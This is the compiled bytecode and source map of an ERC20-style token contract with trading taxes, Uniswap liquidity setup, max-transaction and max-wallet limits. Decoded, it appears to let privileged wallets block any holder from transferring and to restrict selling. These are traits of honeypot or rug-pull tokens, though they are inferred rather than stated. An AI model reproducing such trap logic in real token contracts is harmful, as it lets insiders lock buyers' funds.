0a60565b5060015b92915050565b5f6104126009600a611785565b61042090633b9aca00611793565b905090565b5f610431848484610b83565b610482843361047d85604051806060016040528060288152602001611930602891396001600160a01b038a165f90815260036020908152604080832033845290915290205491906111ef565b610a60565b5060019392505050565b6007546001600160a01b0316336001600160a01b0316146104ab575f80fd5b305f9081526002602052604090205480156104c9576104c981611227565b4780156104d9576104d9816113b0565b5050565b5f546001600160a01b0316331461050f5760405162461bcd60e51b8152600401610506906117aa565b60405180910390fd5b335f9081526004602052604090205460ff1615610546576001600160a01b0381165f908152600660205260409020805460ff191690555b50565b5f546001600160a01b031633146105725760405162461bcd60e51b8152600401610506906117aa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e35760405162461bcd60e51b8152600401610506906117aa565b6105ef6009600a611785565b6105fd90633b9aca00611793565b600990815561060d90600a611785565b61061b90633b9aca00611793565b600a9081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9061064e90600990611785565b61065c90633b9aca00611793565b60405190815260200160405180910390a1565b5f6103fb338484610b83565b5f546001600160a01b031633146106a45760405162461bcd60e51b8152600401610506906117aa565b600d54600160a01b900460ff16156106fe5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610506565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107479030906107396009600a611785565b61047d90633b9aca00611793565b600c5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb91906117df565b6001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061083e91906117df565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610888573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ac91906117df565b600d80546001600160a01b039283166001600160a01b0319909116179055600c541663f305d71947306108f3816001600160a01b03165f9081526002602052604090205490565b5f806109065f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096c573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099191906117fa565b5050600d54600c5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109e6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0a9190611825565b50600d805462ff00ff60a01b19166201000160a01b179055565b335f9081526004602052604090205460ff16610a3d5750565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b6001600160a01b038316610ac25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610506565b6001600160a01b038216610b235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610506565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610506565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610506565b5f8111610caa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610506565b5f80546001600160a01b03858116911614801590610cd557505f546001600160a01b03848116911614155b1561103d576001600160a01b0384165f9081526006602052604090205460ff16158015610d1a57506001600160a01b0383165f9081526006602052604090205460ff16155b610d22575f80fd5b600d546001600160a01b038581169116148015610d4d5750600c546001600160a01b03848116911614155b15610e6757600954821115610da05760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610506565b600a5482610dc2856001600160a01b03165f9081526002602052604090205490565b610dcc9190611844565b1115610e1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610506565b601e6008541015610e3057823b15610e30575f80fd5b60088054905f610e3f83611857565b90915550506001600160a01b0383165f908152600560205260409020805460ff191660011790555b610e906064610e8a600f60085411610e80576014610e83565b60045b85906113e7565b9061146c565b600d549091506001600160a01b038481169116148015610eb957506001600160a01b0384163014155b8015610edd57506001600160a01b0384165f9081526004602052604090205460ff16155b15610fb557600954821115610f305760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610506565b610f496064610e8a601160085411610e80576014610e83565b9050601e6008541180610f7357506001600160a01b0384165f9081526005602052604090205460ff165b610fb55760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610506565b305f90815260026020526040902054600d54600160a81b900460ff16158015610feb5750600d546001600160a01b038581169116145b80156110005750600d54600160b01b900460ff165b801561100d5750600b5481115b801561101b5750601e600854115b1561103b5761102981611227565b47801561103957611039476113b0565b505b505b801561112a575f805260066020527f54cdd369e4e8a8515e52ca72ec816c2101831ad1f18bf44102ed171459c9b4f8546110d19060ff16156110ba575f821161108657816110bc565b61109160048061186f565b61109d6009600a611785565b6110ab90633b9aca00611793565b6110b59190611793565b6110bc565b815b305f90815260026020526040902054906114ad565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111219085815260200190565b60405180910390a35b6001600160a01b0384165f9081526002602052604090205461114c908361150b565b6001600160a01b0385165f9081526002602052604090205561118f611171838361150b565b6001600160a01b0385165f90815260026020526040902054906114ad565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d8858561150b565b60405190815260200160405180910390a350505050565b5f81848411156112125760405162461bcd60e51b81526004016105069190611578565b505f61121e848661187a565b95945050505050565b600d805460ff60a81b1916600160a81b17905580156113a057600d54600160a01b900460ff16156113a0576040805160028082526060820183525f9260208301908036833701905050905030815f815181106112855761128561188d565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112dc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130091906117df565b816001815181106113135761131361188d565b6001600160a01b039283166020918202929092010152600c546113399130911684610a60565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113719085905f908690309042906004016118a1565b5f604051808303815f87803b158015611388575f80fd5b505af115801561139a573d5f803e3d5ffd5b50505050505b50600d805460ff60a81b19169055565b6007546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104d9573d5f803e3d5ffd5b5f825f036113f657505f6103ff565b5f6114018385611793565b90508261140e8583611910565b146114655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610506565b9392505050565b5f61146583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061154c565b5f806114b98385611844565b9050838110156114655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610506565b5f61146583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b5f818361156c5760405162461bcd60e51b81526004016105069190611578565b505f61121e8486611910565b5f6020808352835180828501525f5b818110156115a357858101830151858201604001528201611587565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610546575f80fd5b5f80604083850312156115e8575f80fd5b82356115f3816115c3565b946020939093013593505050565b5f805f60608486031215611613575f80fd5b833561161e816115c3565b9250602084013561162e816115c3565b929592945050506040919091013590565b5f6020828403121561164f575f80fd5b8135611465816115c3565b5f806040838503121561166b575f80fd5b8235611676816115c3565b91506020830135611686816115c3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116df57815f19048211156116c5576116c5611691565b808516156116d257918102915b93841c93908002906116aa565b509250929050565b5f826116f5575060016103ff565b8161170157505f6103ff565b816001811461171757600281146117215761173d565b60019150506103ff565b60ff84111561173257611732611691565b50506001821b6103ff565b5060208310610133831016604e8410600b8410161715611760575081810a6103ff565b61176a83836116a5565b805f190482111561177d5761177d611691565b029392505050565b5f61146560ff8416836116e7565b80820281158282048414176103ff576103ff611691565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ef575f80fd5b8151611465816115c3565b5f805f6060848603121561180c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611835575f80fd5b81518015158114611465575f80fd5b808201808211156103ff576103ff611691565b5f6001820161186857611868611691565b5060010190565b5f61146583836116e7565b818103818111156103ff576103ff611691565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118ef5784516001600160a01b0316835293830193918301916001016118ca565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261192a57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c3f9e86cc7b00cd504b3c7621a8459cdaefa10465c61e00515cb4c1ac28d61ad64736f6c63430008140033

3788:8653:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5838:83;;;;;;;;;;-1:-1:-1;5908:5:0;;;;;;;;;;;-1:-1:-1;;;5908:5:0;;;;5838:83;;;;5908:5;5838:83;:::i;:::-;;;;;;;;6671:161;;;;;;;;;;-1:-1:-1;6671:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6671:161:0;1023:187:1;6115:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6115:95:0;1215:177:1;6840:313:0;;;;;;;;;;-1:-1:-1;6840:313:0;;;;;:::i;:::-;;:::i;6024:83::-;;;;;;;;;;-1:-1:-1;6024:83:0;;4706:1;2000:36:1;;1988:2;1973:18;6024:83:0;1858:184:1;11066:85:0;;;;;;;;;;-1:-1:-1;11066:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;11136:7:0;11113:4;11136:7;;;:4;:7;;;;;;;;;11066:85;12078:352;;;;;;;;;;;;;:::i;:::-;;10891:167;;;;;;;;;;-1:-1:-1;10891:167:0;;;;;:::i;:::-;;:::i;6218:119::-;;;;;;;;;;-1:-1:-1;6218:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6311:18:0;6284:7;6311:18;;;:9;:18;;;;;;;6218:119;2672:148;;;;;;;;;;;;;:::i;10465:159::-;;;;;;;;;;;;;:::i;3872:84::-;;;;;;;;;;-1:-1:-1;3872:84:0;;;;-1:-1:-1;;;;;3872:84:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3872:84:0;2299:203:1;4983:54:0;;;;;;;;;;;;;;;;2458:79;;;;;;;;;;-1:-1:-1;2496:7:0;2523:6;-1:-1:-1;;;;;2523:6:0;2458:79;;5044:56;;;;;;;;;;;;;;;;6345:167;;;;;;;;;;-1:-1:-1;6345:167:0;;;;;:::i;:::-;;:::i;5107:58::-;;;;;;;;;;;;;;;;11159:671;;;;;;;;;;;;;:::i;6520:143::-;;;;;;;;;;-1:-1:-1;6520:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6628:18:0;;;6601:7;6628:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6520:143;10732:151;;;;;;;;;;-1:-1:-1;10732:151:0;;;;;:::i;:::-;;:::i;6671:161::-;6746:4;6763:39;293:10;6786:7;6795:6;6763:8;:39::i;:::-;-1:-1:-1;6820:4:0;6671:161;;;;;:::o;6115:95::-;6168:7;4762:13;4706:1;4762:2;:13;:::i;:::-;4749:26;;:10;:26;:::i;:::-;6188:14;;6115:95;:::o;6840:313::-;6938:4;6955:36;6965:6;6973:9;6984:6;6955:9;:36::i;:::-;7002:121;7011:6;293:10;7033:89;7071:6;7033:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7033:19:0;;;;;;:11;:19;;;;;;;;293:10;7033:33;;;;;;;;;;:37;:89::i;:::-;7002:8;:121::i;:::-;-1:-1:-1;7141:4:0;6840:313;;;;;:::o;12078:352::-;12142:10;;-1:-1:-1;;;;;12142:10:0;293;-1:-1:-1;;;;;12128:24:0;;12120:33;;;;;;12203:4;12164:20;6311:18;;;:9;:18;;;;;;12223:14;;12220:75;;12253:30;12270:12;12253:16;:30::i;:::-;12324:21;12359:12;;12356:67;;12387:24;12400:10;12387:12;:24::i;:::-;12109:321;;12078:352::o;10891:167::-;2585:6;;-1:-1:-1;;;;;2585:6:0;293:10;2585:22;2577:67;;;;-1:-1:-1;;;2577:67:0;;;;;;;:::i;:::-;;;;;;;;;293:10;10958:32:::1;::::0;;;:18:::1;:32;::::0;;;;;::::1;;10953:72:::0;11007:7:::1;10953:72;-1:-1:-1::0;;;;;11035:7:0;::::1;11045:5;11035:7:::0;;;:4:::1;:7;::::0;;;;:15;;-1:-1:-1;;11035:15:0::1;::::0;;2655:1:::1;10891:167:::0;:::o;2672:148::-;2585:6;;-1:-1:-1;;;;;2585:6:0;293:10;2585:22;2577:67;;;;-1:-1:-1;;;2577:67:0;;;;;;;:::i;:::-;2779:1:::1;2763:6:::0;;2742:40:::1;::::0;-1:-1:-1;;;;;2763:6:0;;::::1;::::0;2742:40:::1;::::0;2779:1;;2742:40:::1;2810:1;2793:19:::0;;-1:-1:-1;;;;;;2793:19:0::1;::::0;;2672:148::o;10465:159::-;2585:6;;-1:-1:-1;;;;;2585:6:0;293:10;2585:22;2577:67;;;;-1:-1:-1;;;2577:67:0;;;;;;;:::i;:::-;4762:13:::1;4706:1;4762:2;:13;:::i;:::-;4749:26;::::0;:10:::1;:26;:::i;:::-;10518:12;:22:::0;;;4762:13:::1;::::0;:2:::1;:13;:::i;:::-;4749:26;::::0;:10:::1;:26;:::i;:::-;10551:14;:22:::0;;;10589:27:::1;::::0;4762:13:::1;::::0;4706:1:::1;::::0;4762:13:::1;:::i;:::-;4749:26;::::0;:10:::1;:26;:::i;:::-;10589:27;::::0;1361:25:1;;;1349:2;1334:18;10589:27:0::1;;;;;;;10465:159::o:0;6345:167::-;6423:4;6440:42;293:10;6464:9;6475:6;6440:9;:42::i;11159:671::-;2585:6;;-1:-1:-1;;;;;2585:6:0;293:10;2585:22;2577:67;;;;-1:-1:-1;;;2577:67:0;;;;;;;:::i;:::-;11223:11:::1;::::0;-1:-1:-1;;;11223:11:0;::::1;;;11222:12;11214:47;;;::::0;-1:-1:-1;;;11214:47:0;;5151:2:1;11214:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;11214:47:0::1;4949:347:1::0;11214:47:0::1;11272:15;:80:::0;;-1:-1:-1;;;;;;11272:80:0::1;11309:42;11272:80:::0;;::::1;::::0;;;11363:58:::1;::::0;11380:4:::1;::::0;4762:13:::1;4706:1;4762:2;:13;:::i;:::-;4749:26;::::0;:10:::1;:26;:::i;11363:58::-;11466:15;;;;;;;;;-1:-1:-1::0;;;;;11466:15:0::1;-1:-1:-1::0;;;;;11466:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11448:55:0::1;;11512:4;11519:15;;;;;;;;;-1:-1:-1::0;;;;;11519:15:0::1;-1:-1:-1::0;;;;;11519:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11448:94;::::0;-1:-1:-1;;;;;;11448:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;11448:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;11448:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11432:13;:110:::0;;-1:-1:-1;;;;;11432:110:0;;::::1;-1:-1:-1::0;;;;;;11432:110:0;;::::1;;::::0;;11553:15:::1;::::0;::::1;:31;11592:21;11623:4;11629:24;11623:4:::0;-1:-1:-1;;;;;6311:18:0;6284:7;6311:18;;;:9;:18;;;;;;;6218:119;11629:24:::1;11654:1;11656::::0;11658:7:::1;2496::::0;2523:6;-1:-1:-1;;;;;2523:6:0;;2458:79;11658:7:::1;11553:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11553:129:0;;;-1:-1:-1;;;;;6225:15:1;;;11553:129:0::1;::::0;::::1;6207:34:1::0;6257:18;;;6250:34;;;;6300:18;;;6293:34;;;;6343:18;;;6336:34;6407:15;;;6386:19;;;6379:44;11666:15:0::1;6439:19:1::0;;;6432:35;6141:19;;11553:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11700:13:0::1;::::0;11731:15:::1;::::0;11693:71:::1;::::0;-1:-1:-1;;;11693:71:0;;-1:-1:-1;;;;;11731:15:0;;::::1;11693:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;11700:13:0;::::1;::::0;-1:-1:-1;11693:29:0::1;::::0;6936:18:1;;11693:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11775:11:0::1;:18:::0;;-1:-1:-1;;;;11804:18:0;-1:-1:-1;;;11804:18:0;;;11159:671::o;10732:151::-;293:10;10784:32;;;;:18;:32;;;;;;;;10779:72;;10732:151;:::o;10779:72::-;-1:-1:-1;;;;;10861:7:0;;;;;:4;:7;;;;;:14;;-1:-1:-1;;10861:14:0;10871:4;10861:14;;;10732:151::o;7161:335::-;-1:-1:-1;;;;;7254:19:0;;7246:68;;;;-1:-1:-1;;;7246:68:0;;7552:2:1;7246:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7246:68:0;7350:400:1;7246:68:0;-1:-1:-1;;;;;7333:21:0;;7325:68;;;;-1:-1:-1;;;7325:68:0;;7957:2:1;7325:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7325:68:0;7755:398:1;7325:68:0;-1:-1:-1;;;;;7404:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7456:32;;1361:25:1;;;7456:32:0;;1334:18:1;7456:32:0;;;;;;;7161:335;;;:::o;7504:2280::-;-1:-1:-1;;;;;7592:18:0;;7584:68;;;;-1:-1:-1;;;7584:68:0;;8360:2:1;7584:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;7584:68:0;8158:401:1;7584:68:0;-1:-1:-1;;;;;7671:16:0;;7663:64;;;;-1:-1:-1;;;7663:64:0;;8766:2:1;7663:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;7663:64:0;8564:399:1;7663:64:0;7755:1;7746:6;:10;7738:64;;;;-1:-1:-1;;;7738:64:0;;9170:2:1;7738:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;7738:64:0;8968:405:1;7738:64:0;7813:17;2523:6;;-1:-1:-1;;;;;7847:15:0;;;2523:6;;7847:15;;;;:32;;-1:-1:-1;2496:7:0;2523:6;-1:-1:-1;;;;;7866:13:0;;;2523:6;;7866:13;;7847:32;7843:1527;;;-1:-1:-1;;;;;7905:10:0;;;;;;:4;:10;;;;;;;;7904:11;:24;;;;-1:-1:-1;;;;;;7920:8:0;;;;;;:4;:8;;;;;;;;7919:9;7904:24;7896:33;;;;;;7958:13;;-1:-1:-1;;;;;7950:21:0;;;7958:13;;7950:21;:55;;;;-1:-1:-1;7989:15:0;;-1:-1:-1;;;;;7975:30:0;;;7989:15;;7975:30;;7950:55;7946:438;;;8044:12;;8034:6;:22;;8026:60;;;;-1:-1:-1;;;8026:60:0;;9580:2:1;8026:60:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:55;9703:18;;8026:60:0;9378:349:1;8026:60:0;8139:14;;8129:6;8113:13;8123:2;-1:-1:-1;;;;;6311:18:0;6284:7;6311:18;;;:9;:18;;;;;;;6218:119;8113:13;:22;;;;:::i;:::-;:40;;8105:79;;;;-1:-1:-1;;;8105:79:0;;10064:2:1;8105:79:0;;;10046:21:1;10103:2;10083:18;;;10076:30;10142:28;10122:18;;;10115:56;10188:18;;8105:79:0;9862:350:1;8105:79:0;4626:2;8206:9;;:28;8203:99;;;12006:20;;12054:8;8258:24;;;;;;8320:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8350:13:0;;;;;;:9;:13;;;;;:18;;-1:-1:-1;;8350:18:0;8364:4;8350:18;;;7946:438;8414:76;8486:3;8414:67;4522:2;8426:9;;:25;8425:55;;4329:2;8425:55;;;4426:1;8425:55;8414:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8514:13;;8402:88;;-1:-1:-1;;;;;;8508:19:0;;;8514:13;;8508:19;:43;;;;-1:-1:-1;;;;;;8531:20:0;;8546:4;8531:20;;8508:43;:72;;;;-1:-1:-1;;;;;;8556:24:0;;;;;;:18;:24;;;;;;;;8555:25;8508:72;8505:378;;;8618:12;;8608:6;:22;;8600:60;;;;-1:-1:-1;;;8600:60:0;;9580:2:1;8600:60:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:55;9703:18;;8600:60:0;9378:349:1;8600:60:0;8691:79;8766:3;8691:70;4573:2;8703:9;;:26;8702:58;;4379:2;8702:58;;8691:79;8679:91;;4626:2;8797:9;;:28;:47;;;-1:-1:-1;;;;;;8829:15:0;;;;;;:9;:15;;;;;;;;8797:47;8789:78;;;;-1:-1:-1;;;8789:78:0;;10559:2:1;8789:78:0;;;10541:21:1;10598:2;10578:18;;;10571:30;-1:-1:-1;;;10617:18:1;;;10610:49;10676:18;;8789:78:0;10357:343:1;8789:78:0;8948:4;8899:28;6311:18;;;:9;:18;;;;;;8974:6;;-1:-1:-1;;;8974:6:0;;;;8973:7;:30;;;;-1:-1:-1;8990:13:0;;-1:-1:-1;;;;;8984:19:0;;;8990:13;;8984:19;8973:30;:45;;;;-1:-1:-1;9007:11:0;;-1:-1:-1;;;9007:11:0;;;;8973:45;:87;;;;;9043:17;;9022:20;:38;8973:87;:119;;;;;4626:2;9064:9;;:28;8973:119;8969:390;;;9113:38;9130:20;9113:16;:38::i;:::-;9199:21;9242:22;;9239:105;;9289:35;9302:21;9289:12;:35::i;:::-;9094:265;8969:390;7881:1489;7843:1527;9385:11;;9382:219;;9467:16;;;:4;:16;;;;9437:93;;9467:16;;9466:17;:63;;9504:1;9494:9;:11;:35;;9520:9;9466:63;;9494:35;4949:27;4473:1;;4949:27;:::i;:::-;4762:13;4706:1;4762:2;:13;:::i;:::-;4749:26;;:10;:26;:::i;:::-;4939:37;;;;:::i;:::-;9466:63;;;9484:9;9466:63;9455:4;9437:24;;;;:9;:24;;;;;;;:28;:93::i;:::-;9430:4;9412:24;;;;:9;:24;;;;;;;:118;;;;9550:39;;-1:-1:-1;;;;;9550:39:0;;;;;;;9579:9;1361:25:1;;1349:2;1334:18;;1215:177;9550:39:0;;;;;;;;9382:219;-1:-1:-1;;;;;9627:15:0;;;;;;:9;:15;;;;;;:27;;9647:6;9627:19;:27::i;:::-;-1:-1:-1;;;;;9611:15:0;;;;;;:9;:15;;;;;:43;9679:40;9697:21;:6;9708:9;9697:10;:21::i;:::-;-1:-1:-1;;;;;9679:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9665:13:0;;;;;;;:9;:13;;;;;:54;;;;9735:41;;;9754:21;:6;9765:9;9754:10;:21::i;:::-;9735:41;;1361:25:1;;;1349:2;1334:18;9735:41:0;;;;;;;7573:2211;7504:2280;;;:::o;1350:190::-;1436:7;1472:12;1464:6;;;;1456:29;;;;-1:-1:-1;;;1456:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1496:9:0;1508:5;1512:1;1508;:5;:::i;:::-;1496:17;1350:190;-1:-1:-1;;;;;1350:190:0:o;9902:555::-;5447:6;:13;;-1:-1:-1;;;;5447:13:0;-1:-1:-1;;;5447:13:0;;;9980:27;;9999:7:::1;9980:27;10021:11;::::0;-1:-1:-1;;;10021:11:0;::::1;;;10017:25:::0;10034:7:::1;10017:25;10076:16;::::0;;10090:1:::1;10076:16:::0;;;;;::::1;::::0;;10052:21:::1;::::0;10076:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10076:16:0::1;10052:40;;10121:4;10103;10108:1;10103:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10103:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10147:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10147:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10103:7;;10147:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10137:4;10142:1;10137:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10137:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10212:15:::1;::::0;10180:62:::1;::::0;10197:4:::1;::::0;10212:15:::1;10230:11:::0;10180:8:::1;:62::i;:::-;10253:15;::::0;:196:::1;::::0;-1:-1:-1;;;10253:196:0;;-1:-1:-1;;;;;10253:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10334:11;;10253:15:::1;::::0;10376:4;;10403::::1;::::0;10423:15:::1;::::0;10253:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9969:488;5471:1;-1:-1:-1::0;5483:6:0;:14;;-1:-1:-1;;;;5483:14:0;;;9902:555::o;10632:92::-;10689:10;;:27;;-1:-1:-1;;;;;10689:10:0;;;;:27;;;;;10709:6;;10689:10;:27;:10;:27;10709:6;10689:10;:27;;;;;;;;;;;;;;;;;;;1548:246;1606:7;1630:1;1635;1630:6;1626:47;;-1:-1:-1;1660:1:0;1653:8;;1626:47;1683:9;1695:5;1699:1;1695;:5;:::i;:::-;1683:17;-1:-1:-1;1728:1:0;1719:5;1723:1;1683:17;1719:5;:::i;:::-;:10;1711:56;;;;-1:-1:-1;;;1711:56:0;;12647:2:1;1711:56:0;;;12629:21:1;12686:2;12666:18;;;12659:30;12725:34;12705:18;;;12698:62;-1:-1:-1;;;12776:18:1;;;12769:31;12817:19;;1711:56:0;12445:397:1;1711:56:0;1785:1;1548:246;-1:-1:-1;;;1548:246:0:o;1802:132::-;1860:7;1887:39;1891:1;1894;1887:39;;;;;;;;;;;;;;;;;:3;:39::i;1019:179::-;1077:7;;1109:5;1113:1;1109;:5;:::i;:::-;1097:17;;1138:1;1133;:6;;1125:46;;;;-1:-1:-1;;;1125:46:0;;13049:2:1;1125:46:0;;;13031:21:1;13088:2;13068:18;;;13061:30;13127:29;13107:18;;;13100:57;13174:18;;1125:46:0;12847:351:1;1206:136:0;1264:7;1291:43;1295:1;1298;1291:43;;;;;;;;;;;;;;;;;:3;:43::i;1942:189::-;2028:7;2063:12;2056:5;2048:28;;;;-1:-1:-1;;;2048:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2087:9:0;2099:5;2103:1;2099;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;